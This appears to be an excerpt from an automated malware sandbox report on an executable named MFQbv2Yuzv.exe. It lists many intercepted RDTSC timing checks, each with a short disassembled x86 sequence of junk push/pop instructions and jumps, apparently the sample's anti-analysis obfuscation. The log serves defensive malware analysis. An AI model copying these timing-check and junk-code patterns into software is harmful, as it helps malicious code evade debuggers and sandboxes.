Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB5260 second address: DB5287 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jbe 00007FE580B2A1A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE580B2A1B7h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB5401 second address: DB5416 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE580CED976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FE580CED976h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB5416 second address: DB541C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB541C second address: DB5428 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE580CED97Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB580A second address: DB581E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB9917 second address: DB991F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBFB86 second address: DBFB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBFB90 second address: DBFB96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBFB96 second address: DBFBAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580B2A1B2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBFBAD second address: DBFBB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBEA3B second address: DBEA40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBEA40 second address: DBEA4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBEBAC second address: DBEBB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FE580B2A1A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBEBB8 second address: DBEBCA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FE580CED978h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBEBCA second address: DBEBEB instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE580B2A1A8h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FE580B2A1B4h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBF163 second address: DBF16F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE580CED976h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBF2BF second address: DBF2D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580B2A1ADh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBFA24 second address: DBFA48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FE580CED976h 0x00000009 jg 00007FE580CED976h 0x0000000f jnc 00007FE580CED976h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b jc 00007FE580CED976h 0x00000021 push eax 0x00000022 pop eax 0x00000023 pop esi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBFA48 second address: DBFA4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBFA4E second address: DBFA54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBE2C3 second address: DBE2C8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DBE2C8 second address: DBE2D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007FE580CED982h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DC7667 second address: DC7677 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DC70C1 second address: DC70CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE580CED976h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DC70CB second address: DC70D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DC70D0 second address: DC70D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DC7DB6 second address: DC7DC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DC7DC1 second address: DC7DD0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jc 00007FE580CED976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DC7DD0 second address: DC7DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE580B2A1A6h 0x0000000a jmp 00007FE580B2A1B1h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DC7DF5 second address: DC7E07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FE580CED976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DC7E07 second address: DC7E11 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE580B2A1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DC838A second address: DC83A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580CED984h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DC83A2 second address: DC83BE instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE580B2A1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007FE580B2A1AEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DCB32A second address: DCB352 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE580CED97Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE580CED982h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DCB352 second address: DCB363 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnl 00007FE580B2A1A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DCB363 second address: DCB392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007FE580CED97Ch 0x0000000c jmp 00007FE580CED986h 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DCB392 second address: DCB396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DCAED6 second address: DCAEF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED989h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DCB051 second address: DCB070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE580B2A1ABh 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FE580B2A1A6h 0x00000013 jnp 00007FE580B2A1A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DCB070 second address: DCB074 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DCB074 second address: DCB082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DCD53D second address: DCD554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE580CED97Eh 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DCD554 second address: DCD55C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DCD55C second address: DCD573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FE580CED97Ch 0x0000000e js 00007FE580CED976h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DCD573 second address: DCD57E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD3D85 second address: DD3D95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FE580CED976h 0x0000000a ja 00007FE580CED976h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD2785 second address: DD278F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE580B2A1ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD278F second address: DD2797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD2797 second address: DD279B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD28DB second address: DD28DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD28DF second address: DD2910 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FE580B2A1B9h 0x00000012 pushad 0x00000013 popad 0x00000014 js 00007FE580B2A1A6h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD2910 second address: DD2916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD2A7A second address: DD2A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD2BBD second address: DD2BE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED986h 0x00000007 jnp 00007FE580CED976h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jg 00007FE580CED982h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD2BE5 second address: DD2BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD2D83 second address: DD2D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007FE580CED976h 0x0000000d ja 00007FE580CED976h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81355 second address: D813D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE580B2A1A6h 0x0000000a popad 0x0000000b jbe 00007FE580B2A1A8h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp], eax 0x00000017 mov ebx, dword ptr [ebp+1247C43Fh] 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007FE580B2A1A8h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 add eax, ebx 0x00000039 push 00000000h 0x0000003b push eax 0x0000003c call 00007FE580B2A1A8h 0x00000041 pop eax 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 add dword ptr [esp+04h], 00000015h 0x0000004e inc eax 0x0000004f push eax 0x00000050 ret 0x00000051 pop eax 0x00000052 ret 0x00000053 mov edx, dword ptr [ebp+122D29BFh] 0x00000059 mov edi, dword ptr [ebp+122D2AB0h] 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007FE580B2A1B2h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D813D5 second address: D813E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE580CED980h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D813E9 second address: D81425 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FE580B2A1A8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push 00000004h 0x00000027 mov edi, dword ptr [ebp+122D2B80h] 0x0000002d nop 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 js 00007FE580B2A1A6h 0x00000037 push ecx 0x00000038 pop ecx 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81425 second address: D8142F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FE580CED976h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8142F second address: D81442 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jne 00007FE580B2A1A6h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81442 second address: D81448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD78CF second address: DD78E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE580B2A1B4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD78E9 second address: DD78FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE580CED97Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD78FD second address: DD7909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD719E second address: DD71A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD71A5 second address: DD71AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD71AA second address: DD71B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DD7616 second address: DD761C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DDB62C second address: DDB630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE340F second address: DE341C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FE580B2A1A6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE341C second address: DE3425 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D45676 second address: D4567C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D4567C second address: D45686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE14ED second address: DE14FA instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE580B2A1A8h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE14FA second address: DE1511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnp 00007FE580CED976h 0x00000013 popad 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE1511 second address: DE1530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE580B2A1B4h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE16A1 second address: DE16B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FE580CED976h 0x0000000a jnl 00007FE580CED976h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE16B1 second address: DE16B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE16B5 second address: DE16E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE580CED976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE580CED97Dh 0x00000013 jmp 00007FE580CED987h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE182B second address: DE1834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE1834 second address: DE183A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE183A second address: DE183E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE2845 second address: DE2856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FE580CED976h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE2DA2 second address: DE2DB1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE580B2A1A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE2DB1 second address: DE2DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DE30F0 second address: DE3109 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
